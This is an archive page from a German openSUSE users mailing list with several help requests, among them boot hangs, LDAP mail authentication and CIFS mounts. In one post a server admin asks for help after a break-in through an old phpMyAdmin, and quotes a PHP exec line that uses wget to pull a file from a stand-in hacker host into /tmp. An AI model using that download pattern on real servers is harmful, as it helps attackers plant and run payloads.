May 2013 - openSUSE Users (Deutsch) - openSUSE Mailing Lists

OS 12.1 System hängt nach creating /var/log/boot.msg
by Walter Stengel 03 May '13

03 May '13

Hallo Liste, bei einem Update eines längere Zeit einwandfrei laufenden 12.1 wurde auch ein neuer Kernel installiert. Bei dem erforderlichen Reboot blieb das System bei creating /var/log/boot.msg stehen. Weiter ging es nur mit irgendwelchen Aktivitäten an den USB-Ports (Stecken eines USB-Sticks) oder durch Betätigung der Taste Drucken auf der Tastatur. Der Fehler ist reproduzierbar und unabhängig von den Tastatur/Maus-Modellen (PS/2 und USB). In welcher/n Datei/en ist da ein Schalter versteckt? Eine Analyse von .../messages .../boot.msg bringt keine Hinweise. Vielen Dank und schönes Wochenende Walter -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe(a)opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner(a)opensuse.org

1 0

PHP, Wget und /tmp/ und böse Hacker
by I.H. 03 May '13

03 May '13

Hallo, ich betreibe einen OpenSuSE 12.1 Apache mit FastCGi. Darauf laufen einige Hosts. Ich habe vor ein paar Jahren vom mod_php auf fastcgi umgestellt, wegen div. Sicherheitsprobleme. Lange Zeit war das auch OK. Meine VHosts laufen mit OpenBaseDirRestriction und FastCGI wird so konfiguriert: exec /usr/bin/php-cgi -d open_basedir=/srv/www/htdocs/user12/:/usr/share/php5/PEAR/ -d session.save_path=/srv/www/htdocs/user12/temp/ -d upload_tmp_dir=/srv/www/htdocs/user12/temp. Heute Nacht gab es Probleme. Irgend ein Script wurde zum Portscan eines fremden Servers genutzt, dabei wurde ein Script mit dem Namen pshak auf meinen Server ausgeführt. Ich habe das Script im /tmp/ Verzeichniss gefunden. Dort wurde es anscheinend über einen uralten phpMyAdmin hochgeladen. Ich habe mittlerweile auch rausgefunden das man weiterhin per php etwas ins normale /tmp/ kopieren kann. Obwohl die open_basedir restriction das ja eigentlich nicht erlaubt. Ein Programm wie dieses scheitert auch daran: <?php $filename="/tmp/hans.txt"; if (!$handle = fopen($filename, "a")) { print "Kann die Datei $filename nicht öffnen"; exit(); } if (!fwrite($handle, $somecontent)) print "Kann in die Datei $filename nicht schreiben"; Aber mittels wget funktioniert es dann doch: exec("/usr/bin/wget www.hackerseite-url.org/test.tar -o /tmp/test_download.tar"); test.tar landet tatsächlich im /tmp/ Der Angreifer hat es auch geschafft Dateien die dort sind auszuführen. Wie genau weiss ich noch nicht. Fehlt mir hier ein wichtiger Baustein in meiner Webserver-Konfiguration? Oder muss ich wget und curl irgendwie abschalten? Oder muss ich den Usern /tmp/ irgendwie verbieten. Hat da wer Erfahrung damit und kann mir weiterhelfen. Viele Grüße Ingo -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe(a)opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner(a)opensuse.org

5 4

Thunderbird Frage
by Torsten Förtsch 02 May '13

02 May '13

Hallo, bei mir läuft Thunderbird auf Desktop 1 und FF auf 6. Wenn ich nun in TB auf einen Link klicke, schaltet er automatisch auf Desktop 6, um im FF ein neues Tab zu öffnen. Kann man das irgendwie ausschalten? Am besten wäre folgendes Verhalten: - linke Maustaste: wie bisher - mittlere Maustaste: einfach neuen Tab öffnen, aber nicht den Desktop wechseln. Ich wäre aber auch zufrieden, wenn einfach nicht der Desktop gewechselt würde. Danke, Torsten -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe(a)opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner(a)opensuse.org

5 5

Problem bei der Umstellung der Benutzerauthentifizierung auf ldap(s)
by T. Ermlich 02 May '13

02 May '13

Hallo liebe Liste, ich beschäftige mich in den letzten Tagen mit der Umstellung der Benutzerauthentifizierung auf ldap. Das ldap wird dabei nicht von mir/uns verwaltet, sondern wir sind eigentlich nur "Nutzer" des ldap. Es wurde für uns die Möglichkeit eingerichtet, eigene host-Gruppen zu verwalten (um Mitglieder hinzuzufügen oder entfernen). Eine Anmeldung an dem Testsystem mit einem im ldap angelegten Account funktioniert auch einwandfrei. Auch wird das home-Verzeichnis (bei einer erstmaligen Anmeldung) angelegt. dovecot2 ist ebenfalls installiert, und auch da wird wohl im Hintergrund gegen das ldap authentifiziert. Zumindest werden die Benutzernamen/Kennwörter akzeptiert. Wenn ich es mir recht zusammenreime, dann geht dovecot2 diesen Weg: dovecot2 -> Authentifizierung des Systems -> Nachfragen im ldap Ist das denn überhaupt richtig zusammengereimt? Denn im dovecot2 habe ich keine ldap-Konfiguration vorgenommen. Wieauchimmer ... Nun würde ich auch noch die Authentifizierung eines postfix analog zum dovecot2 gestalten. Aktuell lehnt postfix Emails ab, die an einen in "unserer" ldap-Gruppe existierenden Account adressiert sind. (Lokal kann ich mich mit jenem Account an dem System anmelden.) Eine Email an root, oder einen anderen auf dem System angelegten Account, wird zugestellt. Und ein Versenden von Emails über postfix erzeugt diese Meldung im log: Apr 30 08:00:11 test postfix/smtpd[12531]: warning: SASL authentication problem: unable to open Berkeley db /etc/sasldb2: No such file or directory Apr 30 08:00:11 test postfix/smtpd[12531]: warning: fqdn[ip-adresse]: SASL LOGIN authentication failed: authentication failure Muß ich dafür tatsächlich den saslauthd installieren, und für die ldap-Nutzung konfigurieren? (MECHANISMS="ldap" und so ...) Danke & Gruß Torsten -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe(a)opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner(a)opensuse.org

3 3

CIFS-Mount mit User-spezifischer Authentifizierung?
by Klaus Becker 01 May '13

01 May '13

Hallo, ich habe folgendes Problem. Ich habe diverse Linux-Clients bei denen die User-Homedirectories auf einen Fileserver ausgelagert werden sollen. Aus Sicherheitsgründen soll nicht per NFS sondern per CIFS mit User-spezifischer Authentifizierung gemountet werden (per Automount). Ich selbst bin nicht root auf dem Fileserver. Usernames und Passwörter sind bei den Linux-Clients und auf dem CIFS-Fileserver identisch (auch UIDs und GIDs). Ist das überhaupt möglich? Und wenn ja, wie kann ich das realisieren? Können diese Authentifizierungs-Informationen irgendwie für den (Auto)Mount-Prozess weitergereicht werden? Vielen Dank für jede Hilfe Klaus -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe(a)opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner(a)opensuse.org

1 0

Keepalived
by Stephan von Krawczynski 01 May '13

01 May '13

Hallo zusammen, hat hier schonmal jemand probiert Keepalived auf neueren openSUSE zu compilieren (12.2 oder 12.3)? Irgendwie gibts da ein paar herbe Schwierigkeiten mit includes. Hat das vielleicht schon jemand geloest, ein RPM erstellt? -- MfG, Stephan -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe(a)opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner(a)opensuse.org

11 36

digikam
by Kurt Sturm 01 May '13

01 May '13

Ich weiss, vor kurzem wurde das schon mal erörtert, aber da hatte ich noch kein Problem damit und habe deshalb nicht in Erinnerung, ob es eine Lösung gab Jetzt stürtzt digikam ab und ich weiss nicht warum. Bisher habe ich mit digikam noch nie Ärger gehabt. Kurt -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe(a)opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner(a)opensuse.org

4 5